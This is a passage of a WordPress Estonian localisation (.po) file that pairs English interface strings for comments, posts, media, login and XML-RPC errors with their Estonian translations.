wp-includes/class-wp-xmlrpc-server.php:4215 #: wp-includes/class-wp-xmlrpc-server.php:4652 msgid "Sorry, your entry could not be posted. Something wrong happened." msgstr "Vabandust, sinu kirjutist ei saanud postitada. Midagi läks valesti." #: wp-includes/class-wp-xmlrpc-server.php:4266 #: wp-includes/class-wp-xmlrpc-server.php:4739 msgid "Sorry, you do not have the right to edit this post." msgstr "Vabandust, sul pole õigust postitusi muuta." #: wp-includes/class-wp-xmlrpc-server.php:4283 msgid "For some strange yet very annoying reason, this post could not be edited." msgstr "Mingil imelikul ja tüütul põhjusel ei saa seda postitust muuta." #: wp-includes/class-wp-xmlrpc-server.php:4328 msgid "Sorry, you do not have the right to delete this post." msgstr "Vabandust, sul pole õigust seda postitust kustutada." #: wp-includes/class-wp-xmlrpc-server.php:4333 msgid "For some strange yet very annoying reason, this post could not be deleted." msgstr "Mingil imelikul ja tüütul põhjusel ei saa seda postitust kustutada." #: wp-comments-post.php:50 msgid "Sorry, comments are closed for this item." msgstr "Vabandust, selle kirjutise kommenteerimine on suletud." #: wp-comments-post.php:115 msgid "Sorry, you must be logged in to post a comment." msgstr "Vabandust, kommenteerimiseks pead sisse logima." #: wp-includes/link-template.php:2110 wp-includes/link-template.php:2153 msgid "« Previous Page" msgstr "« Eelmine lehekülg" #: wp-includes/link-template.php:2031 wp-includes/link-template.php:2154 msgid "Next Page »" msgstr "Järgmine lehekülg »" #: wp-includes/feed-atom-comments.php:32 msgid "Comments on %s" msgstr "Kommentaarid %s kohta" #: wp-includes/theme-compat/comments-popup.php:35 msgid "<abbr title=\"Really Simple Syndication\">RSS</abbr> feed for comments on this post." msgstr "Selle postituse kommentaaride <abbr title=\"Really Simple Syndication\">RSS</abbr>-voog." #: wp-includes/theme-compat/comments-popup.php:65 msgid "Leave a comment" msgstr "Lisa kommentaar" #: wp-includes/theme-compat/comments.php:72 msgid "Log out of this account" msgstr "Logi kasutaja välja" #: wp-includes/theme-compat/comments.php:72 msgid "Log out »" msgstr "Logi välja »" #: wp-includes/theme-compat/comments-popup.php:84 msgid "<abbr title=\"Universal Resource Locator\">URL</abbr>" msgstr "<abbr title=\"Universal Resource Locator\">URL</abbr>" #: wp-includes/theme-compat/comments-popup.php:89 msgid "Your Comment" msgstr "Sinu kommentaar" #: wp-includes/theme-compat/comments-popup.php:97 msgid "Say It!" msgstr "Saada ära" #: wp-includes/theme-compat/comments-popup.php:102 msgid "Sorry, the comment form is closed at this time." msgstr "Vabandust, kommenteerimine on hetkel suletud." #: wp-includes/theme-compat/comments-popup.php:107 msgid "Close this window." msgstr "Sulge see aken" #: wp-includes/default-widgets.php:400 wp-includes/theme-compat/sidebar.php:75 msgid "Powered by WordPress, state-of-the-art semantic personal publishing platform." msgstr "Kasutame WordPressi, tänapäevast semantilist publitseerimisplatvormi." #: wp-includes/comment-template.php:1239 msgid "Enter your password to view comments." msgstr "Kommentaaride lugemiseks sisesta palun enda parool." #: wp-includes/comment-template.php:737 wp-includes/comment-template.php:1226 msgid "No Comments" msgstr "Kommentaare pole" #: wp-includes/comment-template.php:739 wp-includes/comment-template.php:1227 msgid "1 Comment" msgstr "1 kommentaar" #: wp-includes/comment-template.php:735 wp-includes/comment-template.php:1228 msgid "% Comments" msgstr "% kommentaari" #: wp-includes/link-template.php:950 wp-includes/link-template.php:1216 #: wp-includes/link-template.php:1318 wp-includes/link-template.php:1379 msgid "Edit This" msgstr "Muuda" #: wp-includes/comment-template.php:2105 #: wp-includes/theme-compat/comments.php:65 msgid "You must be <a href=\"%s\">logged in</a> to post a comment." msgstr "Vabandust, kommenteerimiseks pead <a href=\"%s\">sisse logima</a>." #: wp-includes/theme-compat/comments.php:80 msgid "Mail (will not be published)" msgstr "E-aadress (seda ei avaldata)" #: wp-includes/theme-compat/comments.php:91 msgid "Submit Comment" msgstr "Saada kommentaar" #: wp-includes/category-template.php:1199 msgid "Tags: " msgstr "Sildid:" #: wp-includes/theme-compat/comments-popup.php:113 msgid "Sorry, no posts matched your criteria." msgstr "Vabandust, sinu otsitavale ei vasta ükski postitus." #: wp-includes/post-template.php:747 msgid "Pages:" msgstr "Lehed:" #: wp-includes/default-widgets.php:389 msgid "Comments <abbr title=\"Really Simple Syndication\">RSS</abbr>" msgstr "Kommentaaride <abbr title=\"Really Simple Syndication\">RSS</abbr>" #: wp-includes/theme-compat/sidebar.php:73 msgid "This page validates as XHTML 1.0 Transitional" msgstr "See leht järgib XHTML 1.0 Transitional -standardit" #: wp-includes/theme-compat/sidebar.php:73 msgid "Valid <abbr title=\"eXtensible HyperText Markup Language\">XHTML</abbr>" msgstr "Korrektne <abbr title=\"eXtensible HyperText Markup Language\">XHTML</abbr>" #: wp-includes/theme-compat/comments.php:49 msgid "Comments are closed." msgstr "" #: wp-includes/comment-template.php:1806 msgid "<cite class=\"fn\">%s</cite> <span class=\"says\">says:</span>" msgstr "<cite class=\"fn\">%s</cite> <span class=\"says\">ütleb:</span>" #: wp-includes/comment-template.php:1809 wp-includes/comment-template.php:1864 msgid "Your comment is awaiting moderation." msgstr "Sinu kommentaar ootab modereerimist" #. translators: 1: date, 2: time #: wp-includes/comment-template.php:1816 msgid "%1$s at %2$s" msgstr "%1$s, %2$s" #: wp-includes/comment-template.php:1816 msgid "(Edit)" msgstr "(Muuda)" #: wp-includes/default-widgets.php:372 wp-includes/default-widgets.php:378 #: wp-includes/theme-compat/sidebar.php:69 msgid "Meta" msgstr "Meta" #: wp-includes/atomlib.php:133 msgid "XML error: %s at line %d" msgstr "XML viga: %s real %d" #: wp-includes/author-template.php:177 msgid "Visit %s’s website" msgstr "Külasta veebilehte %s" #: wp-includes/author-template.php:251 wp-includes/author-template.php:389 msgid "Posts by %s" msgstr "%s tehtud postitused" #: wp-includes/bookmark-template.php:83 msgid "Last updated: %s" msgstr "Viimati uuendatud: %s" #: wp-includes/bookmark-template.php:206 msgid "Bookmarks" msgstr "Järjehoidjad" #: wp-includes/capabilities.php:964 msgid "Usage of user levels by plugins and themes is deprecated. Use roles and capabilities instead." msgstr "Kasutajatasemete rakendamine pluginates ja teemades on ebasoovitav. Kasuta nende asemel rolle ja võimalusi." #: wp-includes/category-template.php:467 msgid "No categories" msgstr "Rubriike pole" #: wp-includes/category-template.php:704 wp-includes/category-template.php:713 msgid "%s topic" msgid_plural "%s topics" msgstr[0] "%s teema" msgstr[1] "%s teemat" #: wp-includes/class-pop3.php:82 msgid "No server specified" msgstr "Serverit pole määratud" #: wp-includes/class-pop3.php:90 wp-includes/class-pop3.php:102 #: wp-includes/class-pop3.php:123 wp-includes/class-pop3.php:246 #: wp-includes/class-pop3.php:300 wp-includes/class-pop3.php:311 #: wp-includes/class-pop3.php:359 wp-includes/class-pop3.php:393 #: wp-includes/class-pop3.php:426 wp-includes/class-pop3.php:525 #: wp-includes/class-pop3.php:548 msgid "Error " msgstr "Viga" #: wp-includes/class-pop3.php:115 msgid "no login ID submitted" msgstr "kasutajatunnus puudub" #: wp-includes/class-pop3.php:118 wp-includes/class-pop3.php:138 msgid "connection not established" msgstr "ühendus puudub" #: wp-includes/class-pop3.php:135 wp-includes/class-pop3.php:171 msgid "No password submitted" msgstr "Parool puudub" #: wp-includes/class-pop3.php:143 msgid "Authentication failed" msgstr "Tuvastus ebaõnnestus" #: wp-includes/class-pop3.php:162 wp-includes/class-pop3.php:205 #: wp-includes/class-pop3.php:230 wp-includes/class-pop3.php:272 #: wp-includes/class-pop3.php:346 wp-includes/class-pop3.php:386 #: wp-includes/class-pop3.php:416 wp-includes/class-pop3.php:450 #: wp-includes/class-pop3.php:513 wp-includes/class-pop3.php:578 msgid "No connection to server" msgstr "Serveriga ei saa ühendust" #: wp-includes/class-pop3.php:168 msgid "No login ID submitted" msgstr "Kasutajatunnus puudub" #: wp-includes/class-pop3.php:176 msgid "No server banner" msgstr "Serveri päis puudub" #: wp-includes/class-pop3.php:176 wp-includes/class-pop3.php:186 msgid "abort" msgstr "katkesta" #: wp-includes/class-pop3.php:186 msgid "apop authentication failed" msgstr "apop-tuvastus ebaõnnestus" #: wp-includes/class-pop3.php:323 msgid "Premature end of list" msgstr "Listi lõpp on sassis" #: wp-includes/class-pop3.php:456 msgid "Empty command string" msgstr "Tühi käsk" #: wp-includes/class-pop3.php:476 msgid "connection does not exist" msgstr "ühendust pole" #: wp-includes/class-pop3.php:583 msgid "No msg number submitted" msgstr "Sõnumi number puudub" #: wp-includes/class-pop3.php:589 msgid "Command failed " msgstr "Käsk ebaõnnestus" #: wp-includes/category-template.php:1000 msgid "Feed for all posts filed under %s" msgstr "Uudisevoog kõigi teema %s postitustega" #: wp-includes/comment-template.php:1229 msgid "Comments Off" msgstr "Kommentaarid välja lülitatud" #: wp-includes/comment-template.php:1274 msgid "Comment on %s" msgstr "Kommentaarid %s kohta" #: wp-includes/comment-template.php:1311 msgid "Log in to Reply" msgstr "Vastamiseks logi sisse" #: wp-includes/comment-template.php:1399 msgid "Leave a Comment" msgstr "Lisa kommentaar" #: wp-includes/comment-template.php:1400 msgid "Log in to leave a Comment" msgstr "Kommenteerimiseks logi sisse" #: wp-includes/comment-template.php:1457 msgid "Click here to cancel reply." msgstr "Vastamisest loobumiseks klõpsa siia." #: wp-includes/comment-template.php:1543 wp-includes/comment-template.php:2113 #: wp-includes/theme-compat/comments.php:58 msgid "Leave a Reply" msgstr "Lisa kommentaar" #: wp-includes/comment-template.php:1544 wp-includes/comment-template.php:2114 #: wp-includes/theme-compat/comments.php:58 msgid "Leave a Reply to %s" msgstr "Vasta %s-le" #: wp-includes/class-wp-editor.php:815 wp-includes/theme-compat/sidebar.php:21 msgid "Author" msgstr "Autor" #: wp-includes/theme-compat/comments-popup.php:79 wp-login.php:715 msgid "E-mail" msgstr "E-post" #: wp-includes/class-wp-editor.php:1385 wp-includes/media-template.php:360 #: wp-includes/media-template.php:539 wp-includes/media.php:2911 msgid "URL" msgstr "URL" #: wp-includes/comment-template.php:888 wp-includes/comment-template.php:2103 msgctxt "noun" msgid "Comment" msgstr "Kommenteeri" #: wp-includes/deprecated.php:3180 wp-includes/functions.php:2322 msgid "Are you sure you want to do this?" msgstr "Oled kindel, et tahad seda teha?" #: wp-signup.php:135 msgid "No" msgstr "Ei" #: wp-includes/comment-template.php:1774 wp-includes/comment-template.php:1860 #: wp-includes/media-template.php:578 msgid "Edit" msgstr "Muuda" #: wp-includes/media.php:3032 msgid "No media attachments found." msgstr "Meediamanuseid ei leitud." #: wp-includes/class-wp-editor.php:783 #: wp-includes/js/tinymce/wp-mce-help.php:112 msgid "Undo" msgstr "Võta tagasi" #: wp-includes/class-wp-customize-widgets.php:724 wp-includes/media.php:2955 msgid "Apply" msgstr "Rakenda" #: wp-includes/theme-compat/comments-popup.php:33 msgid "Comments" msgstr "Kommentaarid" #: wp-includes/script-loader.php:447 msgid "Publish" msgstr "Avalda" #: wp-includes/revision.php:31 msgid "Excerpt" msgstr "Väljavõte" #: wp-includes/post.php:82 msgid "Revisions" msgstr "Versioonid" #. translators: comment status #: wp-includes/comment.php:534 msgctxt "adjective" msgid "Approved" msgstr "Heaks kiidetud" #. translators: comment status #: wp-includes/comment.php:536 msgctxt "adjective" msgid "Spam" msgstr "" #: wp-includes/taxonomy.php:89 msgid "Link Categories" msgstr "Viideterubriigid" #: wp-includes/taxonomy.php:477 msgid "Search Categories" msgstr "Otsi rubriikidest" #: wp-includes/taxonomy.php:94 msgid "Edit Link Category" msgstr "Muuda viiterubriiki" #: wp-includes/taxonomy.php:484 msgid "Update Category" msgstr "Muuda rubriiki" #: wp-includes/class-wp-editor.php:1426 wp-includes/script-loader.php:359 msgid "Add Link" msgstr "Lisa viide" #: wp-includes/class-wp-editor.php:847 wp-includes/class-wp-editor.php:1188 msgid "Save" msgstr "Salvesta" #: wp-includes/category-template.php:475 wp-includes/default-widgets.php:542 #: wp-includes/default-widgets.php:548 wp-includes/theme-compat/sidebar.php:63 msgid "Categories" msgstr "Rubriigid" #: wp-includes/class-wp-editor.php:820 msgid "Advanced" msgstr "Täpsemad sätted" #: wp-includes/comment-template.php:2083 #: wp-includes/theme-compat/comments-popup.php:74 #: wp-includes/theme-compat/comments.php:77 msgid "Name" msgstr "Nimi" #: wp-includes/class-wp-editor.php:814 wp-includes/media-template.php:390 #: wp-includes/media-template.php:569 msgid "Description" msgstr "Kirjeldus" #: wp-includes/deprecated.php:707 wp-includes/media-template.php:609 #: wp-includes/media-template.php:655 wp-includes/media-template.php:714 #: wp-includes/media-template.php:815 wp-includes/media-template.php:830 #: wp-includes/media-template.php:881 wp-includes/media-template.php:943 #: wp-includes/media-template.php:1041 wp-includes/media-template.php:1131 #: wp-includes/script-loader.php:315 msgid "None" msgstr "Puudub" #: wp-includes/class-wp-xmlrpc-server.php:1722 #: wp-includes/class-wp-xmlrpc-server.php:1811 #: wp-includes/class-wp-xmlrpc-server.php:1904 #: wp-includes/class-wp-xmlrpc-server.php:1972 #: wp-includes/class-wp-xmlrpc-server.php:2026 #: wp-includes/class-wp-xmlrpc-server.php:2115 wp-includes/taxonomy.php:589 #: wp-includes/taxonomy.php:961 wp-includes/taxonomy.php:1113 #: wp-includes/taxonomy.php:1276 wp-includes/taxonomy.php:2223 #: wp-includes/taxonomy.php:2400 wp-includes/taxonomy.php:2624 #: wp-includes/taxonomy.php:2919 msgid "Invalid taxonomy" msgstr "Vigane taksonoomia" #: wp-includes/taxonomy.php:482 msgid "Edit Tag" msgstr "Muuda silti" #: wp-includes/post.php:1624 msgctxt "post" msgid "Add New" msgstr "Lisa uus" #: wp-includes/post.php:1628 msgid "View Post" msgstr "Vaata postitust" #: wp-includes/post.php:1626 msgid "Edit Post" msgstr "Muuda postitust" #: wp-includes/admin-bar.php:374 msgid "Users" msgstr "Kasutajad" #: wp-includes/script-loader.php:531 msgid "Done" msgstr "Valmis" #: wp-includes/class-wp-theme.php:667 wp-includes/comment-template.php:29 msgid "Anonymous" msgstr "Anonüümne" #: wp-includes/post-template.php:1567 msgid "Submit" msgstr "Sisesta" #: wp-includes/default-widgets.php:930 msgid "RSS" msgstr "RSS" #: wp-includes/functions.php:1936 msgid "Invalid file type" msgstr "Vale failitüüp" #: wp-includes/class-wp-editor.php:845 msgid "Preview" msgstr "Eelvaade" #: wp-includes/default-widgets.php:784 wp-includes/default-widgets.php:838 msgid "Recent Comments" msgstr "Värsked kommentaarid" #: wp-includes/admin-bar.php:386 msgid "Plugins" msgstr "Pluginad" #: wp-includes/class-wp-editor.php:787 wp-includes/class-wp-editor.php:1423 #: wp-includes/media.php:2915 wp-includes/script-loader.php:388 #: wp-includes/script-loader.php:439 msgid "Cancel" msgstr "Tühista" #: wp-includes/revision.php:30 msgid "Content" msgstr "Sisu" #: wp-includes/default-widgets.php:1234 msgid "Tags" msgstr "Sildid" #: wp-includes/script-loader.php:451 msgid "Save Draft" msgstr "Salvesta mustandina" #: wp-includes/theme-compat/comments-popup.php:61 msgid "No comments yet." msgstr "Kommentaare veel pole." #: wp-includes/comment-template.php:1310 wp-includes/script-loader.php:429 msgid "Reply" msgstr "Vasta" #: wp-includes/comment-template.php:890 msgid "Pingback" msgstr "Pingback-viide" #: wp-includes/comment-template.php:889 msgid "Trackback" msgstr "Tagasisideviide" #: wp-includes/default-widgets.php:914 msgid "Number of comments to show:" msgstr "Näidatavate kommentaaride arv:" #: wp-includes/default-widgets.php:1021 msgid "<strong>RSS Error</strong>: %s" msgstr "<strong>RSS-i viga</strong>: %s" #: wp-includes/default-widgets.php:964 msgid "Unknown Feed" msgstr "Tundmatu uudisevoog" #: wp-includes/admin-bar.php:687 msgid "Header" msgstr "Päis" #: wp-includes/widgets.php:577 msgid "Sidebar" msgstr "Küljepaan" #: wp-includes/default-widgets.php:272 wp-includes/default-widgets.php:280 #: wp-includes/theme-compat/sidebar.php:57 msgid "Archives" msgstr "Arhiiv" #: wp-includes/general-template.php:405 wp-login.php:711 wp-login.php:871 msgid "Username" msgstr "Kasutajanimi" #: wp-includes/general-template.php:406 wp-login.php:875 msgid "Password" msgstr "Parool" #: wp-includes/class-wp-editor.php:784 #: wp-includes/js/tinymce/wp-mce-help.php:112 msgid "Redo" msgstr "Tee uuesti" #: wp-includes/media-template.php:674 wp-includes/media-template.php:898 #: wp-includes/media.php:2683 msgid "Thumbnail" msgstr "Pisipilt" #: wp-includes/deprecated.php:3230 msgid "File “%s” doesn’t exist?" msgstr "Faili “%s” pole vist olemas?" #: wp-includes/deprecated.php:3233 msgid "The GD image library is not installed." msgstr "GD pilditeek ei ole installeeritud." #: wp-includes/deprecated.php:3240 msgid "File “%s” is not an image." msgstr "Fail “%s” ei ole pilt." #: wp-includes/media.php:2912 msgid "Add Media" msgstr "Lisa meediafail" #: wp-includes/class-wp-editor.php:1253 wp-includes/media-template.php:324 #: wp-includes/media-template.php:485 msgid "Saved." msgstr "Salvestatud." #: wp-includes/class-wp-customize-manager.php:1070 #: wp-includes/class-wp-editor.php:906 wp-includes/media-template.php:600 #: wp-includes/media-template.php:806 wp-includes/media-template.php:872 msgid "Left" msgstr "Vasakul" #: wp-includes/class-wp-customize-manager.php:1071 #: wp-includes/class-wp-editor.php:907 wp-includes/media-template.php:603 #: wp-includes/media-template.php:809 wp-includes/media-template.php:875 msgid "Center" msgstr "Keskel" #: wp-includes/class-wp-customize-manager.php:1072 #: wp-includes/class-wp-editor.php:908 wp-includes/media-template.php:606 #: wp-includes/media-template.php:812 wp-includes/media-template.php:878 msgid "Right" msgstr "Paremal" #: wp-includes/media-template.php:675 wp-includes/media-template.php:899 #: wp-includes/media.php:2684 msgid "Medium" msgstr "Keskmine" #: wp-includes/media-template.php:677 wp-includes/media-template.php:901 #: wp-includes/media.php:2686 msgid "Full Size" msgstr "Täissuurus" #: wp-includes/media-template.php:665 wp-includes/media-template.php:889 msgid "Size" msgstr "Suurus" #: wp-includes/class-wp-editor.php:905 wp-includes/media-template.php:592 msgid "Alignment" msgstr "Joondus" #: wp-includes/class-wp-editor.php:904 wp-includes/media-template.php:380 #: wp-includes/media-template.php:559 wp-includes/media-template.php:792 #: wp-includes/media-template.php:857 msgid "Caption" msgstr "Allkiri" #: wp-includes/media-template.php:316 wp-includes/media-template.php:509 #: wp-includes/media.php:2984 msgid "Edit Image" msgstr "Muuda pilti" #: wp-includes/media-template.php:824 wp-includes/media-template.php:936 msgid "Image URL" msgstr "Pildi aadress" #: wp-includes/script-loader.php:450 msgid "Save as Pending" msgstr "Salvesta avaldamisjärjekorda" #: wp-includes/script-loader.php:456 msgid "Privately Published" msgstr "Privaatne" #: wp-includes/class-wp-editor.php:786 wp-includes/script-loader.php:438 msgid "OK" msgstr "Olgu" #: wp-includes/post.php:907 wp-includes/post.php:927 #: wp-includes/script-loader.php:452 msgid "Private" msgstr "Privaatne" #: wp-includes/script-loader.php:454 msgid "Public, Sticky" msgstr "Avaldatud, kinnistatud" #: wp-includes/script-loader.php:453 msgid "Public" msgstr "Avalik" #: wp-includes/script-loader.php:448 msgid "Schedule" msgstr "Järjekord" #: wp-includes/class-wp-editor.php:1188 wp-includes/media.php:2916 #: wp-includes/script-loader.php:358 wp-includes/script-loader.php:449 msgid "Update" msgstr "Uuenda" #: wp-includes/taxonomy.php:488 msgid "Add or remove tags" msgstr "Lisa/eemalda silte" #: wp-includes/taxonomy.php:479 msgid "All Categories" msgstr "Kõik rubriigid" #: wp-includes/script-loader.php:114 wp-includes/script-loader.php:258 msgid "Dismiss" msgstr "Loobu" #: wp-includes/admin-bar.php:730 wp-includes/class-wp-editor.php:1398 #: wp-includes/media.php:2913 msgid "Search" msgstr "Otsi" #: wp-includes/post.php:2434 msgid "Images" msgstr "Pildid" #: wp-includes/post.php:1628 msgid "View Page" msgstr "Vaata lehte" #: wp-includes/default-widgets.php:118 msgid "Links" msgstr "Viited" #: wp-includes/category-template.php:172 msgid "Uncategorized" msgstr "Määratlemata" #: wp-includes/pluggable.php:1647 msgid "E-mail: %s" msgstr "E-post: %s" #: wp-includes/default-widgets.php:18 wp-includes/default-widgets.php:32 #: wp-includes/post-template.php:1023 wp-includes/theme-compat/sidebar.php:55 msgid "Pages" msgstr "Lehed" #: wp-includes/class-wp-editor.php:788 wp-includes/class-wp-editor.php:1379 #: wp-includes/functions.php:4473 wp-includes/script-loader.php:229 #: wp-includes/script-loader.php:309 wp-includes/script-loader.php:389 msgid "Close" msgstr "Sulge" #: wp-includes/media.php:2914 msgid "Select" msgstr "Vali" #: wp-includes/post.php:1627 msgid "New Page" msgstr "Uus leht" #: wp-includes/post.php:58 msgid "Edit Media" msgstr "Muuda meediafaili" #: wp-includes/admin-bar.php:426 wp-includes/post.php:1627 msgid "New Post" msgstr "Uus postitus" #: wp-includes/media.php:2659 wp-includes/script-loader.php:360 #: wp-includes/script-loader.php:483 msgid "(no title)" msgstr "(pealkiri puudub)" #: wp-activate.php:73 msgid "Activation Key Required" msgstr "Vaja on aktiveerimisvõtit" #: wp-activate.php:76 msgid "Activation Key:" msgstr "Aktiveerimisvõti:" #: wp-activate.php:80 msgid "Activate" msgstr "Lülita sisse" #: wp-activate.php:92 wp-activate.php:111 msgid "Your account is now active!" msgstr "Sinu konto on aktiveeritud!" #: wp-activate.php:103 msgid "An error occurred during the activation" msgstr "Aktiveerimisel tekkis viga" #: wp-activate.php:114 wp-signup.php:179 msgid "Username:" msgstr "Kasutajanimi:" #: wp-activate.php:115 wp-includes/post-template.php:1567 msgid "Password:" msgstr "Parool:" #: wp-includes/class-wp-customize-manager.php:125 #: wp-includes/script-loader.php:390 msgid "Cheatin’ uh?" msgstr "Üritad tõmmata....?" #: wp-includes/post.php:1630 msgid "No posts found." msgstr "Postitusi pole." #: wp-includes/class-wp-editor.php:811 wp-includes/class-wp-editor.php:1388 #: wp-includes/media-template.php:365 wp-includes/media-template.php:544 #: wp-includes/media-template.php:775 wp-includes/revision.php:29 msgid "Title" msgstr "Pealkiri" #: wp-includes/post.php:908 wp-includes/post.php:928 #: wp-includes/script-loader.php:457 msgid "Published" msgstr "Avaldatud" #: wp-includes/post.php:906 msgid "Pending Review" msgstr "Läbivaatamise ootel" #: wp-includes/post.php:905 wp-includes/post.php:926 msgid "Draft" msgstr "Mustand" #: wp-includes/class-wp-editor.php:1326 msgid "Y/m/d" msgstr "d.m.Y" #: wp-includes/admin-bar.php:297 wp-includes/admin-bar.php:443 #: wp-includes/deprecated.php:2852 msgid "Visit Site" msgstr "Esilehele" #: wp-includes/admin-bar.php:250 wp-includes/class-wp-admin-bar.php:374 msgid "Log Out" msgstr "Logi välja" #: wp-includes/class-wp-xmlrpc-server.php:3569 #: wp-includes/class-wp-xmlrpc-server.php:3615 #: wp-includes/class-wp-xmlrpc-server.php:5313 msgid "You do not have permission to upload files." msgstr "Sul pole õigust faile üles laadida."